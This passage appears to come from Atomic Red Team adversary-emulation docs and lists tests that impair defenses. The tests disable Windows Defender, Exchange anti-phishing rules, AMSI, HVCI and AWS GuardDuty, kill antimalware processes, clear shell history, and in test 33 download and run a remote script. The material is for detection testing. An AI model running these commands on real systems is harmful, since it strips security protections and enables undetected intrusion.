Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.

Input arguments

Name	Type	Default	Description
password	string	—	office-365 password
username	string	—	office-365 username

Attack command

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule

Cleanup command

if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}

Prerequisite

ExchangeOnlineManagement PowerShell module must be installed

Check

$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement

GUID7c5b8cf5-9609-4393-9865-c7f28a270d1c

30 Disable Windows Defender with DISM windows cmd Required — —

The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's package.

Attack command

Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet

GUID3f6bc951-a06d-449c-8cf7-37702a766240

31 Disable Defender Using NirSoft AdvancedRun windows PowerShell Required 1 Yes

Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign. See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3 Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.

Input arguments

Name	Type	Default	Description
AdvancedRun_Location	path	PathToAtomicsFolder\..\ExternalPayloads\AdvancedRun.exe	Path of Advanced Run executable
delete_defender_folder	integer	0	Set to 1 to also delete the Windows Defender folder

Attack command

Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
if(#{delete_defender_folder}){
  $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
  Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{}
}

Cleanup command

Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "start WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}

Prerequisite

Advancedrun.exe must exist at #{AdvancedRun_Location}

Check

if(Test-Path -Path "#{AdvancedRun_Location}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -Force

GUIDfbd2131b-0ac6-4ade-9b36-3af46659bd8f

32 Kill antimalware protected processes using Backstab windows PowerShell Required 1 —

Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill. https://github.com/Yaxser/Backstab

Input arguments

Name	Type	Default	Description
process_name	string	MsMpEng.exe	Name of the protected process you want to kill/terminate.

Attack command

& "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n #{process_name}

Prerequisite

Backstab64.exe should exist in ExtrnalPayloads Directory

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe"

GUID3d90ddf7-ead5-4a83-a965-79412eb17197

33 WinPwn - Kill the event log services for stealth windows PowerShell — — —

Kill the event log services for stealth via function of WinPwn

Attack command

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
inv-phantom -consoleoutput -noninteractive

GUIDa5ab8c42-afb4-468f-84b8-feb5b1f3012e

34 Tamper with Windows Defender ATP using Aliases - PowerShell windows PowerShell Required — Yes

Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Attack command

Set-MpPreference -drtm $True
Set-MpPreference -dbm $True
Set-MpPreference -dscrptsc $True
Set-MpPreference -dbaf $True

Cleanup command

Set-MpPreference -drtm 0
Set-MpPreference -dbm 0
Set-MpPreference -dscrptsc 0
Set-MpPreference -dbaf 0

GUID2955d32d-583e-4560-837b-53eb76c9c426

35 LockBit Black - Disable Privacy Settings Experience Using Registry -cmd windows cmd Required — Yes

LockBit Black - Disable Privacy Settings Experience Using Registry

Attack command

reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f

Cleanup command

reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /f >nul 2>&1

GUID9e4b42a6-6d7d-40bb-ba43-5e0e63268eea

36 LockBit Black - Use Registry Editor to turn on automatic logon -cmd windows cmd Required — Yes

LockBit Black - Use Registry Editor to turn on automatic logon

Attack command

reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f

Cleanup command

reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f >nul 2>&1

GUID668343a6-6226-4699-b8f2-9dbf690e0236

37 LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell windows PowerShell Required — Yes

LockBit Black - Disable Privacy Settings Experience Using Registry

Attack command

New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force

Cleanup command

Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -Force -ErrorAction Ignore

GUID72c6f0eb-96c4-4e57-9a5a-abbeba3d5ba3

38 Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell windows PowerShell Required — Yes

Lockbit Black - Use Registry Editor to turn on automatic logon

Attack command

New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword  -Value password1 -Force

Cleanup command

Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Force -ErrorAction Ignore

GUID2ff115b3-a00d-401f-9a24-6d7a5cc23672

39 Disable Windows Defender with PwSh Disable-WindowsOptionalFeature windows PowerShell Required — —

The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's packages. Reference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps

Attack command

Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore

GUIDb3a59a3b-b300-44e6-bbfa-0412be88c5e1

40 WMIC Tamper with Windows Defender Evade Scanning Folder windows cmd Required — Yes

The following Atomic will attempt to exclude a folder within Defender leveraging WMI Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/

Attack command

wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\"

Cleanup command

wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\"

GUIDac8ac669-a1cf-4a1f-b1ef-5cf6fc85841f

41 Delete Windows Defender Scheduled Tasks windows cmd Required 1 Yes

The following atomic test will delete the Windows Defender scheduled tasks. Reference

Attack command

IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f )
IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f )
IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f )
IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f )

Cleanup command

schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f

Prerequisite

The Windows Defender scheduled tasks must be backed up first

Check

IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( EXIT 0 ) ELSE ( EXIT 1 )

Satisfy

schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" > "%temp%\Windows_Defender_Scheduled_Scan.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" > "%temp%\Windows_Defender_Cleanup.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" > "%temp%\Windows_Defender_Verification.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" > "%temp%\Windows_Defender_Cache_Maintenance.xml"

GUID274c6e16-d859-4824-9417-f07f3cafbea4

42 Clear History linux sh Required — —

Clear Shell History. This technique only affect the bash shell application.

Attack command

history -c

GUIDff74a8b4-48e8-4a04-a907-1dc39209fd36

43 Suspend History linux sh Required — Yes

suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell

Attack command

set +o history

Cleanup command

set -o history

GUID68c1b01b-96a0-4c43-a722-f15668962fa6

44 Reboot Linux Host via Kernel System Request linux sh Required — —

reboot system via system request seen in Awfulshred wiper.

Attack command

echo 1> /proc/sys/kernel/sysrq 
echo b> /proc/sysrq-trigger

GUIDae756ccb-3fb8-480a-ad72-8547bdb2d621

45 Clear Pagging Cache linux sh Required — —

clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/

Attack command

free && echo 3 > /proc/sys/vm/drop_caches && free
echo 3> /proc/sys/vm/drop_caches

GUIDdcd064f4-4f6b-4ea4-bf93-c8199a564158

46 Disable Memory Swap linux sh Required — Yes

disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.

Attack command

swapon -a 
sleep 2
swapoff -a
sync

Cleanup command

swapon -a
sleep 2
sync

GUID74e34668-5641-4fbf-a55c-5bbe54f2e181

47 Disable Hypervisor-Enforced Code Integrity (HVCI) windows PowerShell Required 1 Yes

This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity "Enabled" value to "0". The pre-req needs to be ran in order to setup HVCI and have it enabled. We do not recommend running this in production. Black Lotus Campaign Microsoft

Attack command

reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 0 /f

Cleanup command

reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /f

Prerequisite

HVCI must be enabled

Check

if (((cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" 2> nul | findstr Locked 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" 2> nul | findstr Enabled 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" 2> nul | findstr Locked 2> nul"))) { exit 0 } else { exit 1 }

Satisfy

reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /t REG_DWORD /d 0 /f

GUIDa94267ab-3f85-43e4-a1e7-6f78f0516def

48 AMSI Bypass - Override AMSI via COM windows cmd Required — Yes

With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist. This is currently being used by AsyncRAT and others. https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/

Attack command

REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f

Cleanup command

REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /f

GUID932d9bab-b477-4d17-81ef-56822b7d394b

49 AWS - GuardDuty Suspension or Deletion iaas:aws bash — 1 Yes

Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.

Input arguments

Name	Type	Default	Description
region	string	us-east-1	Name of the specified region

Attack command

detectorId=$(aws guardduty create-detector --enable --region "#{region}" | grep -oP '(?<="DetectorId": ")[^"]*')
aws guardduty update-detector --no-enable --detector-id $detectorId
aws guardduty delete-detector --detector-id $detectorId

Cleanup command

echo "If test successfully ran, no cleanup required."

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo "Please install the aws-cli and configure your AWS default profile using: aws configure"

GUID6d2f7ed1-e526-4d21-b454-f3d48ba4671e

50 Tamper with Defender ATP on Linux/MacOS linux, macos sh Required — Yes

With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide

Attack command

sudo mdatp config real-time-protection --value disabled

Cleanup command

sudo mdatp config real-time-protection --value enabled

GUIDdb76148f-b1e2-4662-9ce3-507ee4738c27

51 Tamper with Windows Defender Registry - Reg.exe windows cmd Required — Yes

Disable Windows Defender by tampering with windows defender registry using the utility "reg.exe"

Attack command

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >NUL 2>nul 
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"  /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "0" /f >NUL 2>nul

Cleanup command

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "0" /f >NUL 2>nul 
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection"  /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "1" /f >NUL 2>nul

GUIDac683dac-d7c6-48a9-9d75-c07031b555fa

52 Tamper with Windows Defender Registry - Powershell windows PowerShell Required — Yes

Disable Windows Defender by tampering with windows defender registry through powershell

Attack command

Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 1  
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 1 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 0 
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 0 
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection"  -Value 0 
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 0 
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 0

Cleanup command

Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 0 
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 0  
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 1 
